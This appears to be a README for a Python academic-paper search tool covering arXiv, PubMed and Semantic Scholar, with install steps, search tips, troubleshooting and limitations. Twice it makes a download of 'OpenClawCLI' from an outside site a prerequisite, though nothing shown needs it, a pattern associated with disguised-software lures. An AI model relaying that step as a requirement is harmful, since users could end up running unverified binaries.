# Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS)

**Installation Best Practices:**
```bash
# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests
```

**Never use `--break-system-packages`** as it can damage your system's Python installation.

## Best Practices

### Search Strategy

1. **Start broad** - Use general terms to get an overview
2. **Refine iteratively** - Add filters based on initial results
3. **Use multiple sources** - Cross-reference findings
4. **Check recent papers** - Use date filters for current research

### Result Management

1. **Save searches** - Use `--output` to preserve results
2. **Organize downloads** - Create logical directory structures
3. **Export citations early** - Generate BibTeX as you search
4. **Track sources** - Note which database returned which papers

### Download Guidelines

1. **Respect rate limits** - Don't download hundreds of papers at once
2. **Check licensing** - Verify you have rights to use papers
3. **Organize by topic** - Use clear directory names
4. **Keep metadata** - Save JSON alongside PDFs

### Citation Practices

1. **Verify citations** - Check DOIs and URLs
2. **Use standard formats** - BibTeX for LaTeX, RIS for reference managers
3. **Include abstracts** - Helpful for later review
4. **Update regularly** - Re-run searches for new papers

## Troubleshooting

### Installation Issues

**"Missing required dependency"**
```bash
# Install all dependencies
pip install arxiv scholarly pubmed-parser semanticscholar requests

# Or use virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests
```

**"OpenClawCLI not found"**
- Download from https://clawhub.ai/
- Install for your OS (Windows/MacOS)

### Search Issues

**"No results found"**
- Try broader search terms
- Check spelling and terminology
- Remove restrictive filters
- Try a different database

**"Rate limit exceeded"**
- Wait a few minutes before retrying
- Reduce `--max-results` value
- Space out requests

**"Download failed"**
- Check internet connection
- Some papers may not have PDFs available
- Verify you have permissions to access
- Try downloading individually

### API Issues

**"API timeout"**
- The service may be temporarily unavailable
- Retry after a moment
- Check status at respective service websites

**"Invalid API response"**
- Check if the service is down
- Verify your query syntax
- Try simpler queries

---

## Limitations

### Access Restrictions

- Not all papers have downloadable PDFs
- Some content requires institutional access
- Paywalled journals may only show abstracts
- Google Scholar has strict rate limits

### Data Completeness

- Citation counts may be outdated
- Not all metadata fields available for every paper
- Some older papers may have incomplete records
- Preprints may not have final publication info

### Search Capabilities

- Boolean operators vary by source
- No unified query syntax across databases
- Some databases don't support all filters
- Results may differ from web interface searches

### Legal Considerations

- Respect copyright and licensing
- Don't redistribute downloaded papers
- Follow institutional access policies
- Check terms of service for each database
